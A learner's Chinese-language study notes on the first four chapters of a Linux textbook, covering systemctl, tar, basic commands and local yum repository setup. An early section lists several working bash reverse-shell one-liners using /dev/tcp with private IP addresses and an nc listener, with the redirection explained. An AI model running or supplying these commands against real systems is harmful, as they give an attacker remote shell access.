《Linux就该这么学》前四章笔记
一周大概用了2天的时间,看来4章,比较易懂,很适合入门,循序渐进。
# bash反弹shell
```
标准输入重定向(STDIN,文件描述符为0):默认从键盘输入,也可从其他文件或命令中输入。
标准输出重定向(STDOUT,文件描述符为1):默认输出到屏幕。
错误输出重定向(STDERR,文件描述符为2):默认输出到屏幕。
bash -i > /dev/tcp/10.201.61.194/5566 0>&1 将bash -i 重定向到 /dev/tcp/,标准输入和标准输出重定向到 /dev/tcp。
bash -i > /dev/tcp/192.168.19.1/6666 0>&1 2>&1; 将 bash -i 重定向到 /dev/tcp/,将标准输入0 和 标准输出1重定向到/dev/tcp/,将错误输出0 和 标准输出1重定向到/dev/tcp/。
bash -i &> /dev/tcp/10.201.61.194/5566 0>&1; (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
bash -i >& /dev/tcp/10.201.61.194/5566 0>&1; (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
```
```
监听:nc -lvp 2333
反弹:
bash -i >& /dev/tcp/192.168.146.129/2222 0>&1;
/bin/bash -i >& /dev/tcp/192.168.146.129/2333 0>&1;
sh -i>& /dev/tcp/10.201.61.194/5566 0>&1;
```
# systemctl
systemctl restart httpd
systemctl start httpd
systemctl stop httpd
systemctl stauts httpd
# tar
tar czvf xxx.tar.gz 要打包的文件夹路径 打包
tar xzvf xxx.tar.gz -C 解压位置 解包
# 其他
ps aux
top
alias rm
echo PATH
su - linuxporb
cd ~ linuxporb
# 配置本地yum源
//挂载本地光盘镜像/dev/cdrom 到 /media/cdrom
mkdir -p /media/cdrom
mount /dev/cdrom /media/cdrom
//编写本地yum源文件
vim rhel7.repo
[rhel7]
name=rhel7
baseurl=file:///media/cdrom
enabled=1
gpgcheck=0
//设置开机自动挂载
vim /etc/fstab
/dev/cdrom /media/cdrom iso9660 defaults 0 0